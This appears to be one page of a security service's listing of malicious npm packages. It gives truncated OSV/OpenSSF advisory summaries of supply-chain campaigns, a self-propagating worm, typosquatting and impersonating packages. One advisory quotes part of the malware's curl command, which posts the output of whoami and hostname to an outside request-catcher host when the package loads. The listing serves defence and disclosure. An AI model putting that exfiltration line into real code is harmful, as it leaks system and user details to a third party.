npm advisory reports, with evidence.
Investigate malicious npm packages reported through OSV and public advisories. Each report identifies the package version, supporting evidence, advisory sources, and current Firewall decision.
Security reports — page 592
Updated 27 Oct 2026, 06:20 UTC. Ordered by latest scan.
OpenSSF/OSV malware advisory MAL-2026-4123 blocks this version. Part of the **Mini Shai-Hulud** supply chain attack campaign in which a threat actor compromised the npm account `atool` an...
OpenSSF/OSV malware advisory MAL-2026-4124 blocks this version. Part of the **Mini Shai-Hulud** supply chain attack campaign in which a threat actor compromised the npm account `atool` an...
OpenSSF/OSV malware advisory MAL-2026-4124 blocks this version. Part of the **Mini Shai-Hulud** supply chain attack campaign in which a threat actor compromised the npm account `atool` an...
OpenSSF/OSV malware advisory MAL-2026-4125 blocks this version. Part of the **Mini Shai-Hulud** supply chain attack campaign in which a threat actor compromised the npm account `atool` an...
OpenSSF/OSV malware advisory MAL-2026-4125 blocks this version. Part of the **Mini Shai-Hulud** supply chain attack campaign in which a threat actor compromised the npm account `atool` an...
OpenSSF/OSV malware advisory MAL-2026-4229 blocks this version. On require(), index.js executes `curl -X POST "http://frgthyujiouyh.requestcatcher.com/noderedactedsdk/$(whoami)/$(hostname...
OpenSSF/OSV malware advisory MAL-2026-6522 blocks this version. Package's main entry (dist/index.cjs) unconditionally requires dist/shai-hulud.js at module load. On require(), the code ha...
OpenSSF/OSV malware advisory MAL-2026-6522 blocks this version. Package's main entry (dist/index.cjs) unconditionally requires dist/shai-hulud.js at module load. On require(), the code ha...
OpenSSF/OSV malware advisory MAL-2026-6522 blocks this version. Package's main entry (dist/index.cjs) unconditionally requires dist/shai-hulud.js at module load. On require(), the code ha...
OpenSSF/OSV malware advisory MAL-2026-6522 blocks this version. Package's main entry (dist/index.cjs) unconditionally requires dist/shai-hulud.js at module load. On require(), the code ha...
OpenSSF/OSV malware advisory MAL-2026-6522 blocks this version. Package's main entry (dist/index.cjs) unconditionally requires dist/shai-hulud.js at module load. On require(), the code ha...
OpenSSF/OSV malware advisory MAL-2026-6522 blocks this version. Package's main entry (dist/index.cjs) unconditionally requires dist/shai-hulud.js at module load. On require(), the code ha...
OpenSSF/OSV malware advisory MAL-2026-6522 blocks this version. Package's main entry (dist/index.cjs) unconditionally requires dist/shai-hulud.js at module load. On require(), the code ha...
OpenSSF/OSV malware advisory MAL-2026-6522 blocks this version. Package's main entry (dist/index.cjs) unconditionally requires dist/shai-hulud.js at module load. On require(), the code ha...
OpenSSF/OSV malware advisory MAL-2026-3255 blocks this version. Dependency confusion and typosquatting campaign by threat actor "saif777". Packages use inflated version numbers (9999.9999...
OpenSSF/OSV malware advisory MAL-2026-3812 blocks this version. The package @easytipsportal/node-helper was found to contain malicious code.
OpenSSF/OSV malware advisory MAL-2026-5201 blocks this version. The Miasma malware is a self-propagating worm that spreads across the npm registry by abusing weaponized `binding.gyp` file...
OpenSSF/OSV malware advisory MAL-2026-5196 blocks this version. The Miasma malware is a self-propagating worm that spreads across the npm registry by abusing weaponized `binding.gyp` file...
OpenSSF/OSV malware advisory MAL-2026-5200 blocks this version. The Miasma malware is a self-propagating worm that spreads across the npm registry by abusing weaponized `binding.gyp` file...
OpenSSF/OSV malware advisory MAL-2026-5199 blocks this version. The Miasma malware is a self-propagating worm that spreads across the npm registry by abusing weaponized `binding.gyp` file...
OpenSSF/OSV malware advisory MAL-2026-5198 blocks this version. The Miasma malware is a self-propagating worm that spreads across the npm registry by abusing weaponized `binding.gyp` file...
OpenSSF/OSV malware advisory MAL-2026-5204 blocks this version. The Miasma malware is a self-propagating worm that spreads across the npm registry by abusing weaponized `binding.gyp` file...
OpenSSF/OSV malware advisory MAL-2026-5202 blocks this version. The Miasma malware is a self-propagating worm that spreads across the npm registry by abusing weaponized `binding.gyp` file...
OpenSSF/OSV malware advisory MAL-2026-6536 blocks this version. @krentzen/buffer-reverse impersonates the well-known buffer-reverse package (it copies the legitimate author, repo URL, REA...
OpenSSF/OSV malware advisory MAL-2026-5562 blocks this version. OSV/OpenSSF confirms @koadz/sso@1.0.0 as malicious package MAL-2026-5562. Malicious code in @koadz/sso (npm)